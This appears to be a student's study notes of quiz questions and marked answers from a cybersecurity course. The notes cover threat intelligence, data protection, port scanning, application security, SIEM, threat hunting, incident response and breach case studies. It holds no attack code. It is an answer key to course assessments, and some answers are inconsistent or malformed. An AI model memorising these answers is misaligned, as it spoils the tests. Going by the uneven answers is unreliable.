      **IOT device attacks moving from targeting consumer electronics to targeting enterprise devices**
  * What was the average cost of a data breach in 2019 in US dollars?
    * $3.92M
  * What was the average size of a data breach in 2019?
    * **25575** records
  * According to the Threat Intelligence Strategy Map, The threat intelligence process can be broken down into 4 steps: Collect, Process, Analyze, and Share. Which step would contain activities such as gathering data from internal, external, technical and human sources?
    * Collect
  * Crowdstrike organizes threat intelligence into which three (3) areas? (Select 3)
    * **Operational**
    * **Strategic**
    * **Tactical**
  * According to the Crowdstrike model, Endpoints, SIEMs and Firewalls belong in which intelligence area?
    * Tactical
  * Which three (3) sources are recommended reading for any cybersecurity professional? (Select 3)
    * **DarkReading**
    * **Trend Micro**
    * **BleepingComputer**
  * Which two (2) of these were among the 4 threat intelligence platforms covered in the Threat Intelligence Platforms video? (Select 2)
    * FireEye
    * Recorded Future
  * **True** or False. The average enterprise has 85 different security tools from 45 vendors.
  * Which threat intelligence framework can be described as a system that is effective if there are only 2 players and the adversary is motivated by socioeconomic or sociopolitical payoffs?
    * Diamond Model of Intrusion Analysis
  * **True** or False. An organization's security immune system should not be considered fully integrated until it is integrated with the extended partner ecosystem.
  * Which term can be defined as "The real-time collection, normalization, and analysis of the data generated by users, applications, and infrastructure that impacts the IT security and risk posture of an enterprise"?
    * **Security Intelligence**
  * What are the three (3) pillars of effective threat detection? (Select 3)
    * See everything
    * Become proactive
    * Automate intelligence
  * **True** or False. According to the FireEye Mandiant's Security Effectiveness Report 2020, organizations have an average of 50-70 security tools in their IT environments.
  * What was the average time to identify and contain a breach in 2019?
    * **279 days**
  * Which industry had the highest average cost per breach in 2019 at $6.45M
    * Healthcare
  * Breaches caused by which source resulted in the highest cost per incident in 2019?
    * Credentials theft
  * According to the Threat Intelligence Strategy Map, The threat intelligence process can be broken down into 4 steps: Collect, Process, Analyze, and Share. Which step would contain activities such as normalize, correlate, confirm and enrich the data?
    * **Process**
  * According to the Threat Intelligence Strategy Map, The threat intelligence process can be broken down into 4 steps: Collect, Process, Analyze, and Share. Which step would contain activities such as investigate, contain, remediate and prioritize?
    * **Analyze**
  * According to the Crowdstrike model, threat hunters, vulnerability management and incident response belong in which intelligence area?
    * Operational
  * Which three (3) sources are recommended reading for any cybersecurity professional? (Select 3)
    * X-Force Exchange

      InfoSecurity Magazine

      Krebs on Security
  * Which two (2) of these were among the 4 threat intelligence platforms covered in the Threat Intelligence Platforms video? (Select 2)
    * TruSTAR

      IBM X-Force Exchange
  * Which threat intelligence framework is divided into 3 levels. Level one is getting to know your adversaries. Level 2 involves mapping intelligence yourself and level 3 where you map more information and used that to plan your defense?
    * Mitre Att\&ck Knowledgebase
  * True or **False**. An organization's security immune system should be isolated from outside organizations, including vendors and other third-parties to keep it from being compromised.
  * Activities performed as a part of security intelligence can be divided into pre-exploit and post-exploit activities. Which two (2) of these are pre-exploit activities? (Select 2)
    * **Prioritize vulnerabilities to optimize remediation processes and close critical exposures**

      **Detect deviations from the norm that indicate early warnings of APTs**

      Gather full situational awareness through advanced security analytics

      Perform forensic investigation
  * **True** or False. According to the FireEye Mandiant's Security Effectiveness Report 2020, more that 50% of successful attacks are able to infiltrate without detection.<br>

### Data Loss Prevention and Mobile Endpoint Protection

* A student's grades should be visible to that student when she logs in to her university account. Her ability to see her grades is an example of which aspect of the CIA Triad?
  * Availability
* A university has implemented practices that ensures all student data is encrypted while stored on university servers. Which aspect of the CIA Triad does this practice support?
  * Confidentiality
* The Student Portal of a university issues a confirmation code with a hash value each time a student submits an assignment using the portal. This is an example of which aspect of the CIA Triad?
  * Integrity
* True or **False**. An organization has "air gapped" its small network of critical data servers so they are accessible internally but not to any external system. These systems are now safe from a deliberate attack.
* C-level executives face 4 challenges when assuring their organizations maintain a comprehensive, workable data security solution. The proliferation of smartphones used for work would impact which two (2) of these concerns the most? (Select 2)
  * New privacy regulations
  * Explosive data growth
* True or **False**. An organization is subject to both GDPR and PCI-DSS data security regulations and has dedicated all of its efforts in remaining in compliance with these 2 sets of regulations. They are correct in believing that their data is safe.
* **True** or False. A newly hired CISO made the right choice when he moved the Known Vulnerabilities list to a high priority for his team to resolve even though none of these had ever been exploited on the company's network to-date.
* All industries have their own unique data security challenges. Which of these industries has a particular concern with HIPAA compliance and the highest cost per breached record?
  * Healthcare
* All industries have their own unique data security challenges. Which of these industries has a particular concern with being targeted more than any other by cybercriminals "because that is where the money is"?
  * Financial
* Which three (3) of these are among the top 12 capabilities that a good data security and protection solution should provide? (Select 3)
  * Data discovery
  * Blocking, masking and quarantining
  * Data risk analysis
* Parsing discovered data against known patterns or key words is a process known as what?
  * Data classification
* Which data protection process takes data activity monitoring output and uses it to generate insights about threats?
  * Active analytics
* True or **False**. The Guardium administrator needs to be someone with the highest level of access to the data being protected?
* Which mobile operating system runs the majority of smartphones today?
  * Android
* Which mobile operating system runs approximately 60% of tablet computers worldwide?
  * iOS
* **True** or False. Security is enhanced on iOS mobile devices because users typically cannot interact directly with the operating system.
* Which statement best describes the use of anti-virus software on mobile devices?
  * Antivirus software can "see" the apps that are running on a mobile device but cannot see the data that is associated with each app.
* Which type of threat is Jailbreaking?
  * System based
* On a mobile device, which type of threat is a phishing scam?
  * App based
* **True** or False. An operator who corrupts data by mistake is considered an "inadvertent attack" that should be considered when developing data protection plans.
* C-level executives face 4 challenges when assuring their organizations maintain a comprehensive and workable data security solution. GDPR, CCPA, and PCC-DSS are concerned with which one of these challenges?
  * New privacy regulations
* True of **False**. A biotech research company with a very profitable product line has grown so rapidly it has acquired a marketing company, a small IT services company and a company that specializes in pharmaceutical manufacturing and distribution. The CEO of the parent company made a good decision when he decided not to consolidate all data security under a single CISO, believing that each of the new divisions understands its own data security needs better than the parent company possibly could.
* What are the 5 common pitfalls of data security?
  * Failure to move beyond compliance
  * Failure to recognize the need for centralized data security
  * Failure to define who owns responsibility for the data itself
  * Failure to address known vulnerabilities
  * Failure to prioritize and leverage data activity monitoring
* All industries have their own unique data security challenges. Which of these industries has a particular concern with a widely distributed IT infrastructure that must provide services across a multiple government jurisdictions while not violating the privacy concerns of its users?
  * Transportation
* Which three (3) of these are among the top 12 capabilities that a good data security and protection solution should provide? (Select 3)
  * Data classification

    Encryption

    Data and file monitoring
* Which is the data protection process that addresses inappropriate privileges, insecure authentication methods, account sharing, configuration files and missing security patches?
  * Vulnerability assessment
* Which data protection process substitutes key data with a token that is issued by a trusted third-party where the token can be accessed but not redeemed by an untrusted party?
  * Tokenization

### **Scanning**

![](https://1094113337-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3hoduT4ByoNaznkzhG%2F-MPI5gJtJL5l44VrdMBE%2F-MPIADgZdEOXa47vgbrw%2Fimage.png?alt=media\&token=15874b7f-01bf-41fd-aa5d-fccdb9fc7675)

![](https://1094113337-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3hoduT4ByoNaznkzhG%2F-MPIAG510FiAdaJmhJPN%2F-MPIBYU0a-ml70LxKfDs%2Fimage.png?alt=media\&token=51bd4542-0445-4dfc-a20f-97a525d53aa4)

* Which component of a vulnerability scanner would perform security checks according to its installed plug-ins?
  * Engine Scanner
* Which component of a vulnerability scanner stores vulnerability information and scan results?
  * Database
* How does a vulnerability scanner detect internal threats?
  * By scanning hosts
* In which component of a Common Vulnerability Score (CVSS) would the attack vector be reflected?
  * Base-Exploitability Subscore
* In which component of a Common Vulnerability Score (CVSS) would confidentiality be reflected?
  * Base-Impact Subscore
* In which component of a Common Vulnerability Score (CVSS) would exploit code maturity be reflected?
  * Temporal Score
* **True** or False. The US Dept of Defense has produced a number of Security Technical Implementation Guides to show the most secure ways to deploy common software packages such as operation systems, open source software, and network devices. These guides are available to the public and can be freely downloaded.
* The Center for Internet Security (CIS) has implementation groups that rank from the least secure to the most secure. Which of these has the least stringent security requirements?
  * **a) CIS Sub-Controls for small, commercial off-the-shelf or home office software environments.**

    b) CIS Sub-Controls focused on helping security teams manage sensitive client or company information.

    c) CIS Sub-Controls that reduce the impact of zero-day and targeted attacks from sophisticated adversaries.
* Which three (3) of these is identified by a basic port scanner? (Select 3)
  * Available services provided by the target system
  * A list of Open ports on a target system
  * Active hosts using TCP
* Port numbers 49152 through 65535 are known as what?
  * Dynamic and Private Ports
* What are the three (3) responses a port scanner might receive when it is scanning a system for open ports? (Select 3)
  * Open
  * Filtered (or blocked)
  * Closed
* Which type of scan is commonly used to check if a working system is at the address indicated and that it is responding?
  * Ping (ICMP Echo Request)
* Which type of scan sends an empty packet or packet with a different payload for each port scanned. A response is received only for closed ports?
  * UDP port scan
* Which two (2) of these are other names for a protocol analyzer? (Select 2)
  * Packet analyzer
  * Network analyzer
* Which is the most popular packet sniffer used?
  * WireShark
* Ports 0–1023 – system or well-known ports
* Ports 1024–49151 – user or registered ports
* Ports 49152–65535 – dynamic / private / ephemeral ports
* Which type of scan notes the connection but leaves the target hanging, i.e. does not reveal any information to the target about the host that initiated the scan?
  * TCP/Half Open Scan (aka a SYN scan)
* Which two (2) of these are other names for a protocol analyzer? (Select 2)
  * Traffic analyzer

    Sniffer
* True or **False**. Packet sniffers are used by hackers but have no legitimate place in legitimate network management.
* Which component of a vulnerability scanner provides high-level graphs and trend reports for executive leadership?
  * Report Module
* How does a vulnerability scanner detect external threats?
  * By scanning internet facing hosts from the Internet
* If a port is blocked, what response will be sent to the port scanner?
  * There will be no response

### Application and Security Testing

* Enterprise Architecture
  * considers the needs of the whole enterprise within scope (org or department)
  * maps the main components of the problem space at a very high level
* Solution Architecture
  * describes the main elements, showing internal architecture, stored data, and the use of components/patterns
* Architectural Building Blocks (ABBs) and Solution Building Blocks (SBBs)
  * ABB
    * Data Sec, AppSec, IAM, Infrastructure and Endpoint Sec, Detect and Respond
  * SBB
    * Key Security Manager, Certificate Authority, HSM, WAF, SAST, Directory, Privilege Access Manager, Hardware Token, Virus protection, App firewall, SPAM filter, Network intrusion prevention system, incident workflow manager'

![](https://1094113337-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3hoduT4ByoNaznkzhG%2F-MPLvxwVIf7qQcndU0sY%2F-MPLxwyEwYCN_3BkkhdN%2Fimage.png?alt=media\&token=e573a0af-0614-4f84-b5d4-bff176d950a0)

![](https://1094113337-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3hoduT4ByoNaznkzhG%2F-MPLvxwVIf7qQcndU0sY%2F-MPLy66LMC0T5bobQx9e%2Fimage.png?alt=media\&token=aed7bfb9-a474-4aea-a8d3-0d4b4550c278)

* True or False. A security architect's job is to make sure that security considerations dominate other design aspects such as usability, resilience and cost.
* Which of these is an aspect of an Enterprise Architecture?
  * Considers the needs of the entire organization
* Which of these is an aspect of a Solution Architecture?
  * Describes how specific products or technologies are used
* Which three (3) of these are general features of Building Blocks? (Select 3)
  * May be product or vendor aware

    **Defined boundary, but can work with other building blocks**

    **Could be an actor, business service, application or data**

    **Package of function defined to meet a business need**
* In security architecture, a reusable solution to a commonly recurring problem is known as what?
  * a pattern
* What is lacking in a security architecture pattern that prevents it from being used as a finished design?
  * context
* What are the possible consequences if a bug in your application becomes known?
  * It is embarrassing to your company

    Financial losses via lawsuits and fines can be very significant

    Government agencies can impose fines and other sanctions against your company

    **All of the above**
* Failure to use input validation in your application introduces what?
  * A vulnerability
* Which software development lifecycle is characterized as a top-down approach where one stage of the project is completed before the next stage begins?
  * Waterfall
* Which form of penetration testing allows the testers complete knowledge of the systems they are trying to penetrate in advance of their attack to simulate an internal attack from a knowledgeable insider?
  * White Box testing
* Which application testing method requires access to the original application source code?
  * SAST: Static Application Security Testing
* Which three (3) steps are part of a Supplier Risk Assessment? (Select 3)
  * Identify mitigations that would minimize or eliminate the risk

    **Identify how the risk would impact the business**

    **Identify how any risks would impact your organization's business**

    **Determine the likelihood the risk would interrupt the business**
* What type of firewall should you install to protect applications used by your organization from hacking?
  * WAF
* Which of these threat modeling methodologies was introduced in 1999 at Microsoft to provide their developer’s a mnemonic that would help them find security vulnerabilities in their products?
  * STRIDE
* What was the ultimate consequence to Target Stores in the United States from their 2013 data breach in which over 100M records were stolen?
  * Costs of $10M and reputational damage only.
* Select the two (2) top vulnerabilities found in common security products. (Select 2)
  * Cross-site request forgery

    Cross-site scripting
* True or **False**. If you can isolate your product from the Internet, it is safe from being hacked.
* Which three (3) things can Cross-site scripting be used for?
  * **Take over sessions**

    **Steal cookies**

    Break encryption

    **Harvest credentials**
* **True** or False. Commonly a Reflect XSS attack is sent as part of an Email or a malicious link and affects only the the user who receives the Email or link.
* Cross-site scripting attacks can be minimized by using HTML and URL Encoding. How would a browser display this string?: \&lt;b\&gt;Password\&lt;/b\&gt;
  * `<b>Password</b>`
* Which three (3) statements about whitelisting user input are true?
  * Special characters should only be allowed on an exception basis
  * Whitelisting reduces the attack surface to a known quantity
  * Whenever possible, input should be whitelisted to alphanumeric values to prevent XSS
* Which two (2) statements are considered good practice for avoiding XSS attacks?
  * Use strict whitelists on accepting input
  * Encode all data output as part of HTML and JavaScript
* How would you classify a hactivist group who thinks that your company's stance on climate change threatens the survival of the planet?
  * **a threat**
* Which software development lifecycle is characterized by short bursts of analysis, design, coding and testing during a series of 1 to 4 week sprints?
  * Agile and Scrum
* Which software development lifecycle is characterized by a series of cycles and an emphasis on security?
  * Spiral
* Which application testing method requires a URL to the application, is quick and cheap but also produces the most false-positive results?
  * DAST: Dynamic Security Application Testing
* Which type of application attack would include buffer overflow, cross-site scripting, and SQL injection?
  * input validation
* Which type of application attack would include unauthorized access to configuration stores, unauthorized access to administration interfaces and over-privileged process and service accounts?
  * Configuration management
* Which one of the OWASP Top 10 Application Security Risks would be occur when authentication and session management functions are implemented incorrectly allowing attackers to compromise passwords, keys or session tokens.
  * Broken authentication
* Which one of the OWASP Top 10 Application Security Risks would be occur when restrictions on what a user is allowed to do is not properly enforced?
  * Broken access control
* Which of these threat modeling methodologies is integrated seamlessly into an Agile development methodology?
  * VAST
* Which phase of DevSecOps would contain the activities Secure application code, Secure infrastructure configuration, and OSS/COTS validation?
  * Code & build
* Which phase of DevSecOps would contain the activities Detect & Visualize, Respond, and Recover?
  * Operate & monitor
* The Deploy step in the DevSecOps Release, Deploy & Decommission phase contains which of these activities?
  * Versioning of infrastructure

    **Creation of Immutable images**

    Data backup cleansing

    IAM controles to regulate authorization
* The Respond step in the DevSecOps Operate & Monitor phase contains which of these activities?
  * Root Cause Analysis

    Inventory

    Chaos engineering

    **Virtual Patching**

### SIEM Platforms

* Core Duties
  * Log Collection
  * Normalization
  * Correlation
  * Aggregation
  * Reporting

1. A SIEM system collects logs and other security documentation for analysis
2. The core function is to manage network security by monitoring flows and events
3. It consolidates log events and network flow data from thousands of devices, endpoints and applications distributed throughout a network
4. A SIEM system can be rules-based or employ a statistical correlation engine to establish relationships between event log entries
5. Captures log event and network flow data in near real time and apply advanced analytics to reveal security offenses
6. It can be available on prem and in a cloud environment

![](https://1094113337-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3hoduT4ByoNaznkzhG%2F-MPh8vxa2S3UEmVs5xh5%2F-MPhArKUO6D_sFDxrpNq%2Fimage.png?alt=media\&token=0e793189-d48d-4b2a-887e-461a32ba9c19)

![](https://1094113337-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3hoduT4ByoNaznkzhG%2F-MPhAugIETYW58OtuKad%2F-MPhBKRIWwgyC9PLj_uY%2Fimage.png?alt=media\&token=2714250b-849d-4d8d-a3ea-cdef6b480cc5)

![](https://1094113337-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3hoduT4ByoNaznkzhG%2F-MPhBNRNQOryYAM-nfUb%2F-MPhC8Q007a00ea-GJe6%2Fimage.png?alt=media\&token=dc8b5f7e-7317-4056-880c-37cf91cfb226)

* **True** or False. SIEMs capture network flow data in near real time and apply advanced analytics to reveal security offenses.
* Which of these describes the process of data normalization in a SIEM?
  * Turns raw data into a format that has fields that SIEM can use
* **True** or False. A SIEM considers any event that is anomalous, or outside the norm, to be an offense.
* **True** or False. A large company might have QRadar event collectors in each of their data centers that are configured to forward all collected events to a central event processor for analysis.
* The triad of a security operations centers (SOC) is people, process and technology. Which part of the triad would vendor-specific training belong?
  * People
* **True** or False. Information is often overlooked simply because the security analysts do not know how it is connected.
* The partnership between security analysts and technology can be said to be grouped into 3 domains, human expertise, security analytics and artificial intelligence. The human expertise domain would contain which three (3) of these topics?
  * Morals
  * Common sense
  * Generalization
* A robust cybersecurity defense includes contributions from 3 areas, human expertise, security analytics and artificial intelligence. Which of these areas would contain the ability for abstraction?
  * Human expertise
* **True** or False. SIEMs can be available on premises and in a cloud environment.
* For a SIEM, what are logs of specific actions such as user logins referred to?
  * Events
* Which of these describes the process of data normalization in a SIEM?
  * Indexes data records for fast searching and sorting
* When a data stream entering a SIEM exceeds the volume it is licensed to handle, what are three (3) ways the excess data is commonly handled, depending upon the terms of the license agreement? (Select 3)
  * **The data stream is throttled to accept only the amount allowed by the license**

    **The excess data is stored in a queue until it can be processed**

    **The excess data is dropped**

    The data is processed and the license is automatically bumped up to the next tier.
* Which five (5) event properties must match before the event will be coalesced with other events? (Select 5)
  * **Destination IP**

    Source Port

    **Destination Port**

    **Source IP**

    **Username**

    **QID**
* What is the goal of SIEM tuning?
  * To get the SIEM to sort out all false-positive offenses so only those that need to be investigated are presented to the investigators
* True or **False**. QRadar event collectors send all raw event data to the central event processor for all data handling such as data normalization and event coalescence.
* The triad of a security operations centers (SOC) is people, process and technology. Which part of the triad would containment belong?
  * **Process**
* **True** or False. There is a natural tendency for security analysts to choose to work on cases that they are familiar with and to ignore those that may be important but for which they have no experience.

### Threat Hunting

![](https://1094113337-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3hoduT4ByoNaznkzhG%2F-MPhDtHxKX_fxahYL7O9%2F-MPhEplb0Rs1SMBzbUz7%2Fimage.png?alt=media\&token=958e7e9e-5a10-4c98-809b-930310c6bd20)

![](https://1094113337-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3hoduT4ByoNaznkzhG%2F-MPhDtHxKX_fxahYL7O9%2F-MPhF94OVpOLqPcovonI%2Fimage.png?alt=media\&token=c6bdfdf5-2769-4440-9a7c-6b2fea45fabe)

* Cyber threats pose many challenges to organizations today. Which three (3) of these are among those cited? (Select 3)
  * There is a cybersecurity skills shortage

    It takes an average of 191 days to even detect an attack has occurred

    Almost half of the breaches are caused by malicious or criminal acts
* What percent of security leaders reported that threat hunting increased the speed and accuracy of response in detection of advanced threats?
  * 91%
* While 80% of the threats are known and detected, the 20% that remains unknown account for what percent of the damage?
  * 80%
* **True** or False. The skill set of a cyber threat hunter is very different from that of a cybersecurity analyst and many threat hunters a have backgrounds doing intelligence work.
* True or **False**. A cyber threat hunting team generally sits at the center of the SOC Command Center.
* There is value brought by each of the IBM i2 EIA use cases. Which one of these delivers net new discovery of correlating low level alerts and offenses?
  * Cyber Threat Hunting
* What is one thing that makes cybersecurity threats so challenging to deal with?
  * There is a big shortage in cyber security skills and many job openings unfilled
* The level 3 and 4 cybersecurity analysts working in a Security Operations Center (SOC) combat cyber crime by performing which type of activity?
  * Cyber forensic investigations
* True or **False**. If you have no better place to start hunting threats, start with a view of your own organization then work your way up to an industry view and then a regional view, a national view and finally a global view of the threat landscape.
* **True** or False. A cyber threat hunting team generally sits outside the SOC command center.
* There is value brought by each of the IBM i2 EIA use cases. Which one of these identifies net new money chain transfers?
  * Fraud Investigations

## Cybersecurity Capstone: Breach Response Case Studies

### Incident Management Response and Cyberattack Frameworks

![](https://1094113337-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3hoduT4ByoNaznkzhG%2F-MPhFH51d4XlBMgKspM_%2F-MPhIM8t0rByj5l1Q5k0%2Fimage.png?alt=media\&token=3ef15633-eb34-4360-a024-49a2f28db08e)

![](https://1094113337-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3hoduT4ByoNaznkzhG%2F-MPhFH51d4XlBMgKspM_%2F-MPhHHqzuwclpx5Lp2Wl%2Fimage.png?alt=media\&token=98a91c8c-9a92-401c-81d1-b37fd1a1392c)

![](https://1094113337-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3hoduT4ByoNaznkzhG%2F-MPhFH51d4XlBMgKspM_%2F-MPhJL5vk7XjioluWvta%2Fimage.png?alt=media\&token=d62d78f4-631a-435e-9a5b-9fa55285ba54)

{% embed url="<https://www.ibm.com/downloads/cas/A27KQP8R>" %}

IRIS FRAMEWORK

![](https://1094113337-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3hoduT4ByoNaznkzhG%2F-MPm7uUQqu9idNKBZ8VP%2F-MPmC51R8JT2Ks_04qyI%2Fimage.png?alt=media\&token=82f4202e-8343-4292-8d38-e0c187c53bd8)

![](https://1094113337-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3hoduT4ByoNaznkzhG%2F-MPm7uUQqu9idNKBZ8VP%2F-MPmC9RhJN2y9FcNdLR4%2Fimage.png?alt=media\&token=e4c464f2-096d-4c7f-b432-0d6e3ef784f8)

![](https://1094113337-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3hoduT4ByoNaznkzhG%2F-MPm7uUQqu9idNKBZ8VP%2F-MPmCF-iyDuR-TS1SVmE%2Fimage.png?alt=media\&token=42381a34-7b8b-43bf-8986-4f3d2e52cb11)

![](https://1094113337-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3hoduT4ByoNaznkzhG%2F-MPm7uUQqu9idNKBZ8VP%2F-MPmCJFZIHwLDvOKpCdb%2Fimage.png?alt=media\&token=28b0c9bd-d4ab-4536-b2d6-e202c371ba32)

![](https://1094113337-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3hoduT4ByoNaznkzhG%2F-MPm7uUQqu9idNKBZ8VP%2F-MPmCMJfaQxsHqE313VY%2Fimage.png?alt=media\&token=60ebb982-943c-4d1c-a21f-9cbf90041f9e)

![](https://1094113337-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3hoduT4ByoNaznkzhG%2F-MPm7uUQqu9idNKBZ8VP%2F-MPmCPE4FPo5yDn2vvBF%2Fimage.png?alt=media\&token=29f312b0-7a72-47e5-962b-cb342e334259)

![](https://1094113337-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3hoduT4ByoNaznkzhG%2F-MPm7uUQqu9idNKBZ8VP%2F-MPmCS_ANetziSC8RMeT%2Fimage.png?alt=media\&token=6926fabf-33af-4205-af3c-c40cbc69b943)

![](https://1094113337-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3hoduT4ByoNaznkzhG%2F-MPm7uUQqu9idNKBZ8VP%2F-MPmCVHmx3SBcf69C0m1%2Fimage.png?alt=media\&token=7c9d60fc-65fa-48f1-9a28-55f5cd411d93)

![](https://1094113337-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3hoduT4ByoNaznkzhG%2F-MPm7uUQqu9idNKBZ8VP%2F-MPmCY1R_tehgBJJawbU%2Fimage.png?alt=media\&token=4d92fbe1-ad06-43cf-8c2f-1b744eea7810)

![](https://1094113337-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3hoduT4ByoNaznkzhG%2F-MPm7uUQqu9idNKBZ8VP%2F-MPmC_U8sukdjZO_8MWO%2Fimage.png?alt=media\&token=5d69b9ec-b993-4ed7-9c15-f1d265f1616e)

* In creating an incident response capability in your organization, NIST recommends taking 6 actions. Which three (3) actions are included on that list? (Select 3)
  * Establish a formal incident response capability

    'Develop an incident response plan based on the incident response policy

    'Create an incident response policy
* Which incident response team model would best fit the needs of a small company that runs its business out of a single office building or campus?
  * Central incident response team
* **True** or False. An incident response team needs a blend of members with strong technical and strong soft skills?
* Assuring systems, networks, and applications are sufficiently secure to resist an attack is part of which phase of the incident response lifecycle?
  * Preparation
* According to the IRIS Framework, during which stage of an attack would the attacker conduct external reconnaissance, alight tactics, techniques and procedures to target and prepare his attack infrastructure?
  * Attack beginnings
* According to the IRIS Framework, during which stage of an attack would the attacker escalate evasion tactics to evade detection?
* * Continuous phases occur
* According to the IRIS framework, during the third phase of an attack when the attackers are attempting to escalate privileges, what should the IR team be doing as a countermeasure?
  * Analyze all network traffic and endpoints, searching for anomalous behavior
* According to the IRIS framework, during the fifth phase of an attack, the attackers will attempt execute their final objective. What should the IR team be doing as a countermeasure?
  * Thoroughly examine available forensics to understand attack details, establish mitigation priorities, provide data to law enforcement, and plan risk reduction strategies
* True or **False**. A data breach only has to be reported to law enforcement if external customer data was compromised?
* In creating an incident response capability in your organization, NIST recommends taking 6 actions. Which three (3) actions that are a included on that list?
  * **Considering the relevant factors when selecting an incident response team model**

    **Establish policies and procedures regarding incident-related information sharing**

    Secure executive sponsorship for the incident response plan

    **Develop incident response procedures**
* Which incident response team model would best fit the needs of a the field offices of a large distributed organizations?
  * Hybrid incident response team

    **Distributed incident response team**

    Central incident response team

    Coordinating incident response team
* Which incident response team staffing model would be appropriate for a small retail store that has just launched an online selling platform and finds it is now under attack? The platform was put together by its very small IT department who has no experience in managing incident response.
  * Completely outsource the incident response work to an onsite contractor with expertise in monitoring and responding to incidents
* Which three (3) technical skills are important to have in an organization's incident response team?
  * **System administration**

    Encryption

    **Programming**

    **Network administration**
* Identifying incident precursors and indicators is part of which phase of the incident response lifecycle?
  * Detection & Analysis
* Automatically isolating a system from the network when malware is detected on that system is part of which phase of the incident response lifecycle?
  * Containment, Eradication & Recovery
* According to the IRIS Framework, during which stage of an attack would the attacker send phishing email, steal credentials and establish a foothold in the target network?
  * Launch and execute the attack
* According to the IRIS Framework, during which stage of an attack would the attacker execute their final objectives?
  * Attack objective execution
* According to the IRIS framework, during the first stage of an attack, when the bad actors are conducting external reconnaissance and aligning their tactics, techniques and procedures, what should the IR team be doing as a countermeasure?
  * Build a threat profile of adversarial actors who are likely to target the company
* According to the IRIS framework, during the fourth phase of an attack, the attackers will attempt to evade detection. What should the IR team be doing as a countermeasure?
  * Analyze all network traffic and endpoints, searching for anomalous behavior
* True or **False**. A data breach always has to be reported to law enforcement agencies.

### Phishing Scams

![](https://1094113337-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3hoduT4ByoNaznkzhG%2F-MPp0jmDHOodHI_eu30r%2F-MPqy0Hn2mtyh4KcEvxE%2Fimage.png?alt=media\&token=6c8210e8-c385-46f9-b3bf-0816bc8678fa)

![Google and Facebook Case Study](https://1094113337-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3hoduT4ByoNaznkzhG%2F-MPp0jmDHOodHI_eu30r%2F-MPqykkAayZ_liPzEFBS%2Fimage.png?alt=media\&token=930f8ad3-bc6f-4d22-82c0-84c6dbff7707)

* Some of the earliest known phishing attacks were carried out against which company?
  * America Online (AOL)
* You have banked at "MyBank" for many years when you receive an urgent email telling you to log in to verify your security credentials or your account would be frozen. You are not wealthy but what little you have managed to save is in this bank. The email is addressed to "Dear Customer" and upon closer inspection you see it was sent from "<security@mybank.yahoo.com>". What kind of attack are you under?
  * As a phishing attack.
* True or **False**. HTTPS assures passwords and other data that is sent across the Internet is encrypted. Links in email that use HTTPS will protect you against phishing attacks.
* Which three (3) of these statistics about phishing attacks are real? (Select 3)
  * **The average cost of a data breach is $3.86 million.**

    **15% of people successfully phished will be targeted at least one more time within a year.**

    **Phishing accounts for 90% of data breaches.**

    12% of businesses reported being the victim of a phishing attack in 2018.
* Which range best represents the number of unique phishing web sites reported to the Anti-Phishing Working Group (apwg.org) in Q4 2019?
  * Between 130,000 and 140,000.
* Which is the most common type of identity theft?
  * Credit card fraud

### Point of Sale Breach

![](https://1094113337-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3hoduT4ByoNaznkzhG%2F-MPp0jmDHOodHI_eu30r%2F-MPr0OGkQyDbu9oljPdM%2Fimage.png?alt=media\&token=9a42885f-f23d-4957-b3c0-f32e134db3a0)

![](https://1094113337-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3hoduT4ByoNaznkzhG%2F-MPp0jmDHOodHI_eu30r%2F-MPr0Su4_3hu6xUr1cGo%2Fimage.png?alt=media\&token=28d279f4-bc74-49fd-aaf3-67ffc6878791)

![Ingenico](https://1094113337-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3hoduT4ByoNaznkzhG%2F-MPp0jmDHOodHI_eu30r%2F-MPr1-mY9xj9hf-cf7S4%2Fimage.png?alt=media\&token=4d57e265-a31e-4672-98e5-2fb7a386d90c)

![Home Depot Case Study](https://1094113337-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3hoduT4ByoNaznkzhG%2F-MPr12yLeAOUWavShwgm%2F-MPr1Va_dD9lGks5XN4_%2Fimage.png?alt=media\&token=0baeb1a3-a9eb-4da7-93f3-4957c898238b)

* True or **False**. There are more successful PoS attacks made against large online retailers than there are against small to medium sized brick-and-mortar businesses.
* Which is the standard regulating credit card transactions and processing?
  * PCI-DSS
* Which three (3) of these are PCI-DSS requirements for any company handling, processing or transmitting credit card data?
  * **Do not use vendor-supplied defaults for system passwords and other security parameters**

    **Protect stored cardholder data**

    **Install and maintain a firewall configuration to protect cardholder data**

    Cardholder data may not reside on local PoS devices for more than 48 hours
* True or **False**. A study conducted by the Ingenico Group found that credit card transactions were sufficiently secure as long as all participants were in strict compliance with PCI-DSS standards.
* What are the two (2) most common operating systems for PoS devices?
  * Windows and Linux
